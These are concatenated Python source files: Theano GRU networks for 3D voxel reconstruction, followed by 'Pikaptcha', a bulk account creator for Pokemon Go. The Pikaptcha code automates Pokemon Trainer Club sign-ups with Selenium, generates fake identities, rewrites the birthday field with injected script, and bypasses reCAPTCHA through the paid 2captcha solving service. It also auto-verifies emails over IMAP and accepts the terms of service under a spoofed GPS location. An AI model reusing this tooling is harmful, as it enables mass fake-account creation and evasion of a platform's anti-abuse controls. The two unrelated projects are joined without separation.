        t_x_rs = FCConv3DLayer(rs, fc7, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3))

        def recurrence(x_curr, prev_s_tensor, prev_in_gate_tensor):
            # Scan function cannot use compiled function.
            input_ = InputLayer(input_shape, x_curr)
            conv1a_ = ConvLayer(input_, (n_convfilter[0], 7, 7), params=conv1a.params)
            rect1a_ = LeakyReLU(conv1a_)
            conv1b_ = ConvLayer(rect1a_, (n_convfilter[0], 3, 3), params=conv1b.params)
            rect1_ = LeakyReLU(conv1b_)
            pool1_ = PoolLayer(rect1_)

            conv2a_ = ConvLayer(pool1_, (n_convfilter[1], 3, 3), params=conv2a.params)
            rect2a_ = LeakyReLU(conv2a_)
            conv2b_ = ConvLayer(rect2a_, (n_convfilter[1], 3, 3), params=conv2b.params)
            rect2_ = LeakyReLU(conv2b_)
            conv2c_ = ConvLayer(pool1_, (n_convfilter[1], 1, 1), params=conv2c.params)
            res2_ = AddLayer(conv2c_, rect2_)
            pool2_ = PoolLayer(res2_)

            conv3a_ = ConvLayer(pool2_, (n_convfilter[2], 3, 3), params=conv3a.params)
            rect3a_ = LeakyReLU(conv3a_)
            conv3b_ = ConvLayer(rect3a_, (n_convfilter[2], 3, 3), params=conv3b.params)
            rect3_ = LeakyReLU(conv3b_)
            conv3c_ = ConvLayer(pool2_, (n_convfilter[2], 1, 1), params=conv3c.params)
            res3_ = AddLayer(conv3c_, rect3_)
            pool3_ = PoolLayer(res3_)

            conv4a_ = ConvLayer(pool3_, (n_convfilter[3], 3, 3), params=conv4a.params)
            rect4a_ = LeakyReLU(conv4a_)
            conv4b_ = ConvLayer(rect4a_, (n_convfilter[3], 3, 3), params=conv4b.params)
            rect4_ = LeakyReLU(conv4b_)
            pool4_ = PoolLayer(rect4_)

            conv5a_ = ConvLayer(pool4_, (n_convfilter[4], 3, 3), params=conv5a.params)
            rect5a_ = LeakyReLU(conv5a_)
            conv5b_ = ConvLayer(rect5a_, (n_convfilter[4], 3, 3), params=conv5b.params)
            rect5_ = LeakyReLU(conv5b_)
            conv5c_ = ConvLayer(pool4_, (n_convfilter[4], 1, 1), params=conv5c.params)
            res5_ = AddLayer(conv5c_, rect5_)
            pool5_ = PoolLayer(res5_)

            conv6a_ = ConvLayer(pool5_, (n_convfilter[5], 3, 3), params=conv6a.params)
            rect6a_ = LeakyReLU(conv6a_)
            conv6b_ = ConvLayer(rect6a_, (n_convfilter[5], 3, 3), params=conv6b.params)
            rect6_ = LeakyReLU(conv6b_)
            res6_ = AddLayer(pool5_, rect6_)
            pool6_ = PoolLayer(res6_)

            flat6_ = FlattenLayer(pool6_)
            fc7_ = TensorProductLayer(flat6_, n_fc_filters[0], params=fc7.params)
            rect7_ = LeakyReLU(fc7_)

            prev_s_ = InputLayer(s_shape, prev_s_tensor)

            t_x_s_update_ = FCConv3DLayer(
                prev_s_,
                rect7_, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3),
                params=t_x_s_update.params)

            t_x_s_reset_ = FCConv3DLayer(
                prev_s_,
                rect7_, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3),
                params=t_x_s_reset.params)

            update_gate_ = SigmoidLayer(t_x_s_update_)
            comp_update_gate_ = ComplementLayer(update_gate_)
            reset_gate_ = SigmoidLayer(t_x_s_reset_)

            rs_ = EltwiseMultiplyLayer(reset_gate_, prev_s_)
            t_x_rs_ = FCConv3DLayer(
                rs_, rect7_, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3), params=t_x_rs.params)
            tanh_t_x_rs_ = TanhLayer(t_x_rs_)

            gru_out_ = AddLayer(
                EltwiseMultiplyLayer(update_gate_, prev_s_),
                EltwiseMultiplyLayer(comp_update_gate_, tanh_t_x_rs_))

            return gru_out_.output, update_gate_.output

        s_update, _ = theano.scan(recurrence,
            sequences=[self.x],  # along with images, feed in the index of the current frame
            outputs_info=[tensor.zeros_like(np.zeros(s_shape),
                                            dtype=theano.config.floatX),
                           tensor.zeros_like(np.zeros(s_shape),
                                             dtype=theano.config.floatX)])

        update_all = s_update[-1]
        s_all = s_update[0]
        s_last = s_all[-1]
        gru_s = InputLayer(s_shape, s_last)
        unpool7 = Unpool3DLayer(gru_s)
        conv7a = Conv3DLayer(unpool7, (n_deconvfilter[1], 3, 3, 3))
        rect7a = LeakyReLU(conv7a)
        conv7b = Conv3DLayer(rect7a, (n_deconvfilter[1], 3, 3, 3))
        rect7 = LeakyReLU(conv7b)
        res7 = AddLayer(unpool7, rect7)

        unpool8 = Unpool3DLayer(res7)
        conv8a = Conv3DLayer(unpool8, (n_deconvfilter[2], 3, 3, 3))
        rect8a = LeakyReLU(conv8a)
        conv8b = Conv3DLayer(rect8a, (n_deconvfilter[2], 3, 3, 3))
        rect8 = LeakyReLU(conv8b)
        res8 = AddLayer(unpool8, rect8)

        unpool9 = Unpool3DLayer(res8)
        conv9a = Conv3DLayer(unpool9, (n_deconvfilter[3], 3, 3, 3))
        rect9a = LeakyReLU(conv9a)
        conv9b = Conv3DLayer(rect9a, (n_deconvfilter[3], 3, 3, 3))
        rect9 = LeakyReLU(conv9b)

        conv9c = Conv3DLayer(unpool9, (n_deconvfilter[3], 1, 1, 1))
        res9 = AddLayer(conv9c, rect9)

        conv10a = Conv3DLayer(res9, (n_deconvfilter[4], 3, 3, 3))
        rect10a = LeakyReLU(conv10a)
        conv10b = Conv3DLayer(rect10a, (n_deconvfilter[4], 3, 3, 3))
        rect10 = LeakyReLU(conv10b)

        conv10c = Conv3DLayer(rect10a, (n_deconvfilter[4], 3, 3, 3))
        res10 = AddLayer(conv10c, rect10)

        conv11 = Conv3DLayer(res10, (n_deconvfilter[5], 3, 3, 3))
        softmax_loss = SoftmaxWithLoss3D(conv11.output)

        self.loss = softmax_loss.loss(self.y)
        self.error = softmax_loss.error(self.y)
        self.params = get_trainable_params()
        self.output = softmax_loss.prediction()
        self.activations = [update_all]






from models.gru_net import GRUNet
from models.res_gru_net import ResidualGRUNet

MODELS = (GRUNet, ResidualGRUNet)


def get_models():
    '''Returns a tuple of sample models.'''
    return MODELS


def load_model(name):
    '''Creates and returns an instance of the model given its class name.
    The created model has a single placeholder node for feeding images.
    '''
    # Find the model class from its name
    all_models = get_models()
    mdict = {model.__name__: model for model in all_models}
    if name not in mdict:
        print('Invalid model index. Options are:')
        # Display a list of valid model names
        for model in all_models:
            print('\t* {}'.format(model.__name__))
        return None
    NetClass = mdict[name]

    return NetClass






import numpy as np

# Theano
import theano
import theano.tensor as tensor

from models.net import Net, tensor5
from lib.layers import TensorProductLayer, ConvLayer, PoolLayer, Unpool3DLayer, \
    LeakyReLU, SoftmaxWithLoss3D, Conv3DLayer, InputLayer, FlattenLayer, \
    FCConv3DLayer, TanhLayer, SigmoidLayer, ComplementLayer, AddLayer, \
    EltwiseMultiplyLayer, get_trainable_params


class GRUNet(Net):

    def network_definition(self):

        # (multi_views, self.batch_size, 3, self.img_h, self.img_w),
        self.x = tensor5()
        self.is_x_tensor4 = False

        img_w = self.img_w
        img_h = self.img_h
        n_gru_vox = 4
        # n_vox = self.n_vox

        n_convfilter = [96, 128, 256, 256, 256, 256]
        n_fc_filters = [1024]
        n_deconvfilter = [128, 128, 128, 64, 32, 2]
        input_shape = (self.batch_size, 3, img_w, img_h)

        # To define weights, define the network structure first
        x = InputLayer(input_shape)
        conv1 = ConvLayer(x, (n_convfilter[0], 7, 7))
        pool1 = PoolLayer(conv1)
        conv2 = ConvLayer(pool1, (n_convfilter[1], 3, 3))
        pool2 = PoolLayer(conv2)
        conv3 = ConvLayer(pool2, (n_convfilter[2], 3, 3))
        pool3 = PoolLayer(conv3)
        conv4 = ConvLayer(pool3, (n_convfilter[3], 3, 3))
        pool4 = PoolLayer(conv4)
        conv5 = ConvLayer(pool4, (n_convfilter[4], 3, 3))
        pool5 = PoolLayer(conv5)
        conv6 = ConvLayer(pool5, (n_convfilter[5], 3, 3))
        pool6 = PoolLayer(conv6)
        flat6 = FlattenLayer(pool6)
        fc7 = TensorProductLayer(flat6, n_fc_filters[0])

        # Set the size to be 256x4x4x4
        s_shape = (self.batch_size, n_gru_vox, n_deconvfilter[0], n_gru_vox, n_gru_vox)

        # Dummy 3D grid hidden representations
        prev_s = InputLayer(s_shape)

        t_x_s_update = FCConv3DLayer(prev_s, fc7, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3))
        t_x_s_reset = FCConv3DLayer(prev_s, fc7, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3))

        reset_gate = SigmoidLayer(t_x_s_reset)

        rs = EltwiseMultiplyLayer(reset_gate, prev_s)
        t_x_rs = FCConv3DLayer(rs, fc7, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3))

        def recurrence(x_curr, prev_s_tensor, prev_in_gate_tensor):
            # Scan function cannot use compiled function.
            input_ = InputLayer(input_shape, x_curr)
            conv1_ = ConvLayer(input_, (n_convfilter[0], 7, 7), params=conv1.params)
            pool1_ = PoolLayer(conv1_)
            rect1_ = LeakyReLU(pool1_)
            conv2_ = ConvLayer(rect1_, (n_convfilter[1], 3, 3), params=conv2.params)
            pool2_ = PoolLayer(conv2_)
            rect2_ = LeakyReLU(pool2_)
            conv3_ = ConvLayer(rect2_, (n_convfilter[2], 3, 3), params=conv3.params)
            pool3_ = PoolLayer(conv3_)
            rect3_ = LeakyReLU(pool3_)
            conv4_ = ConvLayer(rect3_, (n_convfilter[3], 3, 3), params=conv4.params)
            pool4_ = PoolLayer(conv4_)
            rect4_ = LeakyReLU(pool4_)
            conv5_ = ConvLayer(rect4_, (n_convfilter[4], 3, 3), params=conv5.params)
            pool5_ = PoolLayer(conv5_)
            rect5_ = LeakyReLU(pool5_)
            conv6_ = ConvLayer(rect5_, (n_convfilter[5], 3, 3), params=conv6.params)
            pool6_ = PoolLayer(conv6_)
            rect6_ = LeakyReLU(pool6_)
            flat6_ = FlattenLayer(rect6_)
            fc7_ = TensorProductLayer(flat6_, n_fc_filters[0], params=fc7.params)
            rect7_ = LeakyReLU(fc7_)

            prev_s_ = InputLayer(s_shape, prev_s_tensor)

            t_x_s_update_ = FCConv3DLayer(
                prev_s_,
                rect7_, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3),
                params=t_x_s_update.params)
            t_x_s_reset_ = FCConv3DLayer(
                prev_s_,
                rect7_, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3),
                params=t_x_s_reset.params)

            update_gate_ = SigmoidLayer(t_x_s_update_)
            comp_update_gate_ = ComplementLayer(update_gate_)
            reset_gate_ = SigmoidLayer(t_x_s_reset_)

            rs_ = EltwiseMultiplyLayer(reset_gate_, prev_s_)
            t_x_rs_ = FCConv3DLayer(
                rs_, rect7_, (n_deconvfilter[0], n_deconvfilter[0], 3, 3, 3), params=t_x_rs.params)
            tanh_t_x_rs_ = TanhLayer(t_x_rs_)

            gru_out_ = AddLayer(
                EltwiseMultiplyLayer(update_gate_, prev_s_),
                EltwiseMultiplyLayer(comp_update_gate_, tanh_t_x_rs_))

            return gru_out_.output, update_gate_.output

        s_update, _ = theano.scan(recurrence,
            sequences=[self.x],  # along with images, feed in the index of the current frame
            outputs_info=[tensor.zeros_like(np.zeros(s_shape),
                                            dtype=theano.config.floatX),
                           tensor.zeros_like(np.zeros(s_shape),
                                             dtype=theano.config.floatX)])

        update_all = s_update[-1]
        s_all = s_update[0]
        s_last = s_all[-1]
        gru_s = InputLayer(s_shape, s_last)
        unpool7 = Unpool3DLayer(gru_s)
        conv7 = Conv3DLayer(unpool7, (n_deconvfilter[1], 3, 3, 3))
        rect7 = LeakyReLU(conv7)
        unpool8 = Unpool3DLayer(rect7)
        conv8 = Conv3DLayer(unpool8, (n_deconvfilter[2], 3, 3, 3))
        rect8 = LeakyReLU(conv8)
        unpool9 = Unpool3DLayer(rect8)
        conv9 = Conv3DLayer(unpool9, (n_deconvfilter[3], 3, 3, 3))
        rect9 = LeakyReLU(conv9)
        # unpool10 = Unpool3DLayer(rect9)
        conv10 = Conv3DLayer(rect9, (n_deconvfilter[4], 3, 3, 3))
        rect10 = LeakyReLU(conv10)
        conv11 = Conv3DLayer(rect10, (n_deconvfilter[5], 3, 3, 3))
        softmax_loss = SoftmaxWithLoss3D(conv11.output)

        self.loss = softmax_loss.loss(self.y)
        self.error = softmax_loss.error(self.y)
        self.params = get_trainable_params()
        self.output = softmax_loss.prediction()
        self.activations = [update_all]






import os
from io import open
from setuptools import setup

DIST_NAME = 'Pikaptcha'
VERSION = 'v0.1'
AUTHOR = 'sriyegna'
EMAIL = 'sriyegna@gmail.com'
GITHUB_USER = 'sriyegna'
GITHUB_URL = 'https://github.com/{GITHUB_USER}/{DIST_NAME}'.format(**locals())

# Get the long description from the README file
setup_dir = os.path.dirname(os.path.realpath(__file__))
with open(os.path.join(setup_dir, 'README.md'), encoding='utf-8') as readme:
    long_description = readme.read()

setup(
    name=DIST_NAME,
    packages=['pikaptcha'],
    version=VERSION,
    description='Pokemon Go Bulk Account Creator.',
    author=AUTHOR,
    author_email=EMAIL,
    url=GITHUB_URL,
    license='GPL v3',
    download_url='{GITHUB_URL}/tarball/{VERSION}'.format(**locals()),
    keywords='',
    install_requires=[
        'requests[security]==2.10.0',
        'six==1.10.0',
        'selenium==2.53.6'
    ],
    classifiers=[
        'Programming Language :: Python',
        'Programming Language :: Python :: 2.7',
        'Programming Language :: Python :: Implementation :: CPython',
        'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
    ],
    entry_points={
        'console_scripts': [
            'pikaptcha = pikaptcha.console:entry',
        ],
    }
)






import time
import imaplib
import string
import urllib2
from pikaptcha.url import *


def proc_mail(M):
    rv, data = M.search(None, "ALL")
    if rv!= 'OK':
        print "No messages found!"
        return
    else:
        start_time = time.clock()
        for num in data[0].split():
            if (time.clock() - start_time) > 30:
                print("It has been more than 30 seconds. Please use an email address with an empty inbox.")
            rv, data = M.fetch(num, '(RFC822)')
            if rv!= 'OK':
                print "Error getting message."
                return
            subjmsg = M.fetch(num, '(BODY[HEADER.FIELDS (SUBJECT)])')
            subjmsg = subjmsg[1][0][1]
            if subjmsg.find("Trainer_Club_Activation") != -1:
                bodymsg = (M.fetch(num, "(UID BODY[TEXT])"))[1][0][1]
                validkey_index = bodymsg.find("https://club.pokemon.com/us/pokemon-trainer-club/activated/")
                if validkey_index != -1:
                    validlink = bodymsg[validkey_index:validkey_index+94]
                    try:
                        validate_response = "Failed"
                        while(validate_response == "Failed"):
                            validate_response = activateurl(validlink)
                        print "Verified email and trashing Email with key: " + validlink[60:] + "\n"
                        M.store(num,'+X-GM-LABELS', '\\Trash')
                    except urllib2.URLError:
                        print "Unable to verify email.\n"
                        M.store(num,'+X-GM-LABELS', '\\Trash')

def email_verify(plusmail, googlepass):
    time.sleep(5)
    #Waiting 5 seconds before checking email
    email_address = plusmail
    M = imaplib.IMAP4_SSL('imap.gmail.com')    
    try:
        M.login(email_address, googlepass)
        print "Logged in to: " + email_address

        rv, mailboxes = M.list()
        rv, data = M.select("INBOX")
        if rv == 'OK':
            print "Processing mailbox..."
            proc_mail(M)
            M.close()
        M.logout()
    except imaplib.IMAP4.error:
        print "Unable to login to: " + email_address + ". Was not verified\n"





#!/usr/bin/env python
import string
import random

__all__ = ('generate_word', 'generate_words')

initial_consonants = list(set(string.ascii_lowercase) - set('aeiou')
                      # remove those easily confused with others
                      - set('qxc')
                      # add some crunchy clusters
                      | set(['bl', 'br', 'cl', 'cr', 'dr', 'fl',
                             'fr', 'gl', 'gr', 'pl', 'pr', 'sk',
                             'sl', 'sm', 'sn', 'sp', 'st', 'str',
                             'sw', 'tr', 'ch', 'sh'])
                      )

final_consonants = list(set(string.ascii_lowercase) - set('aeiou')
                    # remove the confusables
                    - set('qxcsj')
                    # crunchy clusters
                    | set(['ct', 'ft', 'mp', 'nd', 'ng', 'nk', 'nt',
                           'pt', 'sk', 'sp', 'ss', 'st', 'ch', 'sh'])
                    )

vowels = 'aeiou'


def generate_word():
    """Returns a random consonant-vowel-consonant pseudo-word."""
    return ''.join(random.choice(s) for s in (initial_consonants,
                                              vowels,
                                              final_consonants))


def generate_words(wordcount):
    """Returns a list of ``wordcount`` pseudo-words."""
    return ''.join([generate_word() for _ in xrange(wordcount)])






import urllib2

def openurl(address):
    try:
        urlresponse = urllib2.urlopen(address).read()
        return urlresponse        
    except urllib2.HTTPError, e:
        print("HTTPError = " + str(e.code))
    except urllib2.URLError, e:
        print("URLError = " + str(e.code))
    except Exception:
        import traceback
        print("Generic Exception: " + traceback.format_exc())
    print("Request to " + address + "failed.")    
    return "Failed"

def activateurl(address):
    try:
        urlresponse = urllib2.urlopen(address)
        return urlresponse
    except urllib2.HTTPError, e:
        print("HTTPError = " + str(e.code))
    except urllib2.URLError, e:
        print("URLError = " + str(e.code))
    except Exception:
        import traceback
        print("Generic Exception: " + traceback.format_exc())
    print("Request to " + address + "failed.")    
    return "Failed"





import argparse
import sys

import pikaptcha
from pikaptcha.ptcexceptions import *
from pikaptcha.tos import *
from pikaptcha.gmailv import *
from pikaptcha.url import *

from pgoapi.exceptions import AuthException, ServerSideRequestThrottlingException, NotLoggedInException
import pprint
import threading
import getopt
import urllib2
import imaplib
import string


def parse_arguments(args):
    """Parse the command line arguments for the console commands.
    Args:
      args (List[str]): List of string arguments to be parsed.
    Returns:
      Namespace: Namespace with the parsed arguments.
    """
    parser = argparse.ArgumentParser(
        description='Pokemon Trainer Club Account Creator'
    )
    parser.add_argument(
        '-u', '--username', type=str, default=None,
        help='Username for the new account (defaults to random string).'
    )
    parser.add_argument(
        '-p', '--password', type=str, default=None,
        help='Password for the new account (defaults to random string).'
    )
    parser.add_argument(
        '-e', '--email', type=str, default=None,
        help='Email for the new account (defaults to random email-like string).'
    )
    parser.add_argument(
        '-m', '--plusmail', type=str, default=None,
        help='Email template for the new account. Use something like aaaa@gmail.com (defaults to nothing).'
    )
    parser.add_argument(
        '-av', '--autoverify', type=bool, default=False,
        help='Append the argument -av True if you want to use autoverify with +mail.'
    )
    parser.add_argument(
        '-b', '--birthday', type=str, default=None,
        help='Birthday for the new account. Must be YYYY-MM-DD. (defaults to a random birthday).'
    )
    parser.add_argument(
        '-c','--count', type=int,default=1,
        help='Number of accounts to generate.'
    )
    parser.add_argument(
        '-r','--recaptcha', type=str, default=None,
        help='Your 2captcha key from settings'
    )
    parser.add_argument(
        '-gp','--googlepass', type=str, default=None,
        help='This is the password for the google account you are using with plusmail'
    )    
    parser.add_argument(
        '-t','--textfile', type=str, default="usernames.txt",
        help='This is the location you want to save usernames.txt'
    )
    parser.add_argument(
        '-of','--outputformat', type=str, default="compact",
        help='If you choose compact, you get user:pass. If you choose pkgo, you get -u user -p pass'
    )
    parser.add_argument(
        '-it','--inputtext', type=str, default=None,
        help='This is the location you want to read usernames in the format user:pass'
    ) 
    parser.add_argument(
        '-sn','--startnum', type=int, default=None,
        help='If you specify both -u and -c, it will append a number to the end. This allows you to choose where to start from'
    )
    parser.add_argument(
        '-ct','--captchatimeout', type=int, default=1000,
        help='Allows you to set the time to timeout captcha and forget that account (and forgeit $0.003).'
    )
    parser.add_argument(
        '-l','--location', type=str, default="40.7127837,-74.005941",
        help='This is the location that will be spoofed when we verify TOS'
    )        

    return parser.parse_args(args)


def entry():
    """Main entry point for the package console commands"""
    args = parse_arguments(sys.argv[1:])
    if args.recaptcha != None:
        captchabal = "Failed"
        while(captchabal == "Failed"):
            captchabal = openurl("http://2captcha.com/res.php?key=" + args.recaptcha + "&action=getbalance")
        print("Your 2captcha balance is: " + captchabal)
        print("This run will cost you approximately: " + str(float(args.count)*0.003))

    username = args.username    
    
    if args.inputtext != None:
        print("Reading accounts from: " + args.inputtext)
        lines = [line.rstrip('\n') for line in open(args.inputtext, "r")]
        args.count = len(lines)
        
    if (args.recaptcha != None and float(captchabal) < float(args.count)*0.003):
        print("It does not seem like you have enough balance for this run. Lower the count or increase your balance.")
        sys.exit()
    else:
        if (args.autoverify == True):
            with open(args.textfile, "a") as ulist:
                ulist.write("The following accounts use the email address: " + args.plusmail + "\n")
                ulist.close()
        for x in range(0,args.count):
            print("Making account #" + str(x+1))
            if ((args.username != None) and (args.count != 1) and (args.inputtext == None)):
                if(args.startnum == None):
                    username = args.username + str(x+1)
                else:
                    username = args.username + str(args.startnum+x)
            if (args.inputtext != None):
                username = ((lines[x]).split(":"))[0]
                args.password = ((lines[x]).split(":"))[1]
            try:
                try:
                    account_info = pikaptcha.random_account(username, args.password, args.email, args.birthday, args.plusmail, args.recaptcha, args.captchatimeout)
                    
                    print('  Username:  {}'.format(account_info["username"]))
                    print('  Password:  {}'.format(account_info["password"]))
                    print('  Email   :  {}'.format(account_info["email"]))
                    
                    # Accept Terms Service
                    accept_tos(account_info["username"], account_info["password"], args.location)
        
                    # Verify email
                    if (args.autoverify == True):
                        email_verify(args.plusmail, args.googlepass)
                    
                    # Append usernames 
                    with open(args.textfile, "a") as ulist:
                        if args.outputformat == "pkgo":
                            ulist.write(" -u " + account_info["username"]+" -p "+account_info["password"]+"")
                        else:
                            ulist.write(account_info["username"]+":"+account_info["password"]+"\n")
                        
                        ulist.close()
                # Handle account creation failure exceptions
                except PTCInvalidPasswordException as err:
                    print('Invalid password: {}'.format(err))
                except (PTCInvalidEmailException, PTCInvalidNameException) as err:
                    print('Failed to create account! {}'.format(err))
                except PTCException as err:
                    print('Failed to create account! General error:  {}'.format(err))
            except Exception:
                import traceback
                print("Generic Exception: " + traceback.format_exc())






import time
import string
import random
import datetime
import urllib2

from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
from selenium.common.exceptions import StaleElementReferenceException, TimeoutException
from selenium.webdriver.common.desired_capabilities import DesiredCapabilities
from pikaptcha.jibber import *
from pikaptcha.ptcexceptions import *
from pikaptcha.url import *

user_agent = ("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36")

BASE_URL = "https://club.pokemon.com/us/pokemon-trainer-club"

# endpoints taken from PTCAccount
SUCCESS_URLS = (
    'https://club.pokemon.com/us/pokemon-trainer-club/parents/email',  # This initially seemed to be the proper success redirect
    'https://club.pokemon.com/us/pokemon-trainer-club/sign-up/',  # but experimentally it now seems to return to the sign-up, but still registers
)

# As both seem to work, we'll check against both success destinations until I have I better idea for how to check success
DUPE_EMAIL_URL = 'https://club.pokemon.com/us/pokemon-trainer-club/forgot-password?msg=users.email.exists'
BAD_DATA_URL = 'https://club.pokemon.com/us/pokemon-trainer-club/parents/sign-up'


def _random_string(length=15):
    return generate_words(3)

def _random_email(local_length=10, sub_domain_length=5, top_domain=".com"):
    return "{local}@{sub_domain}{top_domain}".format(
        local=_random_string(local_length),
        sub_domain=_random_string(sub_domain_length),
        top_domain=top_domain
    )


def _random_birthday():
    start = datetime.datetime(1980, 1, 1)
    end = datetime.datetime(1990, 12, 31)
    diff = end - start
    random_duration = random.randint(0, diff.total_seconds())
    birthday = start + datetime.timedelta(seconds=random_duration)
    return "{year}-{month:0>2}-{day:0>2}".format(year=birthday.year, month=birthday.month, day=birthday.day)


def _validate_birthday(birthday):
    # raises PTCInvalidBirthdayException if invalid
    # split by -
    # has to be at least 2002 and after 1910
    # char length 10
    try:
        assert len(birthday) == 10

        # Ensure birthday is delimited by -
        # Ensure birthday is zero-padded
        year, month, day = birthday.split("-")
        assert year is not None and month is not None and day is not None
        assert len(year) == 4 and year.isdigit()
        assert len(month) == 2 and month.isdigit()
        assert len(day) == 2 and day.isdigit()

        # Check year is between 1910 and 2002, and also that it's a valid date
        assert datetime.datetime(year=1910, month=1, day=1) <= datetime.datetime(year=int(year), month=int(month), day=int(day)) <= datetime.datetime(year=2002, month=12, day=31)

    except (AssertionError, ValueError):
        raise PTCInvalidBirthdayException("Invalid birthday!")
    else:
        return True


def _validate_password(password):
    # Check that password length is between 6 and 15 characters long
    if len(password) < 6 or len(password) > 15:
        raise PTCInvalidPasswordException('Password must be between 6 and 15 characters.')
    return True


def create_account(username, password, email, birthday, captchakey2, captchatimeout):
    if password is not None:
        _validate_password(password)

    print("Attempting to create user {user}:{pw}. Opening browser...".format(user=username, pw=password))
    if captchakey2 != None:
        dcap = dict(DesiredCapabilities.PHANTOMJS)
        dcap["phantomjs.page.settings.userAgent"] = user_agent
        driver = webdriver.PhantomJS(desired_capabilities=dcap)
    else:
        driver = webdriver.Chrome()
        driver.set_window_size(600, 600)

    # Input age: 1992-01-08
    print("Step 1: Verifying age using birthday: {}".format(birthday))
    driver.get("{}/sign-up/".format(BASE_URL))
    assert driver.current_url == "{}/sign-up/".format(BASE_URL)
    elem = driver.find_element_by_name("dob")

    # Workaround for different region not having the same input type
    driver.execute_script("var input = document.createElement('input'); input.type='text'; input.setAttribute('name', 'dob'); arguments[0].parentNode.replaceChild(input, arguments[0])", elem)

    elem = driver.find_element_by_name("dob")
    elem.send_keys(birthday)
    elem.submit()
    # Todo: ensure valid birthday

    # Create account page
    print("Step 2: Entering account details")
    assert driver.current_url == "{}/parents/sign-up".format(BASE_URL)

    user = driver.find_element_by_name("username")
    user.clear()
    user.send_keys(username)

    elem = driver.find_element_by_name("password")
    elem.clear()
    elem.send_keys(password)

    elem = driver.find_element_by_name("confirm_password")
    elem.clear()
    elem.send_keys(password)

    elem = driver.find_element_by_name("email")
    elem.clear()
    elem.send_keys(email)

    elem = driver.find_element_by_name("confirm_email")
    elem.clear()
    elem.send_keys(email)

    driver.find_element_by_id("id_public_profile_opt_in_1").click()
    driver.find_element_by_name("terms").click()

    if captchakey2 == None:
        #Do manual captcha entry
        print("You did not pass a 2captcha key. Please solve the captcha manually.")
        elem = driver.find_element_by_class_name("g-recaptcha")
        driver.execute_script("arguments[0].scrollIntoView(true);", elem)
        # Waits 1 minute for you to input captcha
        try:
            WebDriverWait(driver, 60).until(EC.text_to_be_present_in_element_value((By.NAME, "g-recaptcha-response"), ""))
            print("Captcha successful. Sleeping for 1 second...")
            time.sleep(1)
        except TimeoutException, err:
            print("Timed out while manually solving captcha")
    else:
        # Now to automatically handle captcha
        print("Starting autosolve recaptcha")
        html_source = driver.page_source
        gkey_index = html_source.find("https://www.google.com/recaptcha/api2/anchor?k=") + 47
        gkey = html_source[gkey_index:gkey_index+40]
        recaptcharesponse = "Failed"
        while(recaptcharesponse == "Failed"):
            recaptcharesponse = openurl("http://2captcha.com/in.php?key=" + captchakey2 + "&method=userrecaptcha&googlekey=" + gkey)
        captchaid = recaptcharesponse[3:]
        recaptcharesponse = "CAPCHA_NOT_READY"
        elem = driver.find_element_by_class_name("g-recaptcha")
        print"We will wait 10 seconds for captcha to be solved by 2captcha"
        start_time = time.clock()
        timedout = False
        while recaptcharesponse == "CAPCHA_NOT_READY":
            time.sleep(10)            
            elapsedtime = time.clock() - start_time
            if elapsedtime > captchatimeout:
                print("Captcha timeout reached. Exiting.")
                timedout = True
                break
            print "Captcha still not solved, waiting another 10 seconds."
            recaptcharesponse = "Failed"
            while(recaptcharesponse == "Failed"):
                recaptcharesponse = openurl("http://2captcha.com/res.php?key=" + captchakey2 + "&action=get&id=" + captchaid)
        if timedout == False:       
            solvedcaptcha = recaptcharesponse[3:]
            captchalen = len(solvedcaptcha)
            elem = driver.find_element_by_name("g-recaptcha-response")
            elem = driver.execute_script("arguments[0].style.display = 'block'; return arguments[0];", elem)
            elem.send_keys(solvedcaptcha)      
            print "Solved captcha"
    try:
        user.submit()
    except StaleElementReferenceException:
        print("Error StaleElementReferenceException!")

    try:
        _validate_response(driver)
    except:
        print("Failed to create user: {}".format(username))
        driver.close()
        raise

    print("Account successfully created.")
    driver.close()
    return True


def _validate_response(driver):
    url = driver.current_url
    if url in SUCCESS_URLS:
        return True
    elif url == DUPE_EMAIL_URL:
        raise PTCInvalidEmailException("Email already in use.")
    elif url == BAD_DATA_URL:
        if "Enter a valid email address." in driver.page_source:
            raise PTCInvalidEmailException("Invalid email.")
        else:
            raise PTCInvalidNameException("Username already in use.")
    else:
        raise PTCException("Generic failure. User was not created.")


def random_account(username=None, password=None, email=None, birthday=None, plusmail=None, recaptcha=None, captchatimeout=1000):
    try_username = _random_string() if username is None else str(username)
    password = _random_string() if password is None else str(password)
    try_email = _random_email() if email is None else str(email)
    captchakey2 = None if recaptcha is None else str(recaptcha)
    if plusmail is not None:
        pm = plusmail.split("@")
        try_email = pm[0] + "+" + try_username + "@" + pm[1]
    try_birthday = _random_birthday() if birthday is None else str(birthday)

    if birthday is not None:
        _validate_birthday(try_birthday)

    account_created = False
    while not account_created:
        try:
            account_created = create_account(try_username, password, try_email, try_birthday, captchakey2, captchatimeout)
        except PTCInvalidNameException:
            if username is None:
                try_username = _random_string()
            else:
                raise
        except PTCInvalidEmailException:
            if email is None:
                try_email = _random_email()
            else:
                raise

    return {
        "username": try_username,
        "password": password,
        "email": try_email
    }






import time
import string
from pgoapi import PGoApi
from pgoapi.utilities import f2i
from pgoapi import utilities as util
from pgoapi.exceptions import AuthException, ServerSideRequestThrottlingException, NotLoggedInException

def accept_tos(username, password, location):
    try:
        accept_tos_helper(username, password, location)
    except ServerSideRequestThrottlingException as e:
        print('Server side throttling, Waiting 10 seconds.')
        time.sleep(10)
        accept_tos_helper(username, password, location)
    except NotLoggedInException as e1:
        print('Could not login, Waiting for 10 seconds')
        time.sleep(10)
        accept_tos_helper(username, password, location)

def accept_tos_helper(username, password, location):
    api = PGoApi()
    location = location.replace(" ", "")
    location = location.split(",")
    api.set_position(float(location[0]), float(location[1]), 0.0)
    api.login('ptc', username, password)
    time.sleep(1)
    req = api.create_request()
    req.mark_tutorial_complete(tutorials_completed = 0, send_marketing_emails = False, send_push_notifications = False)
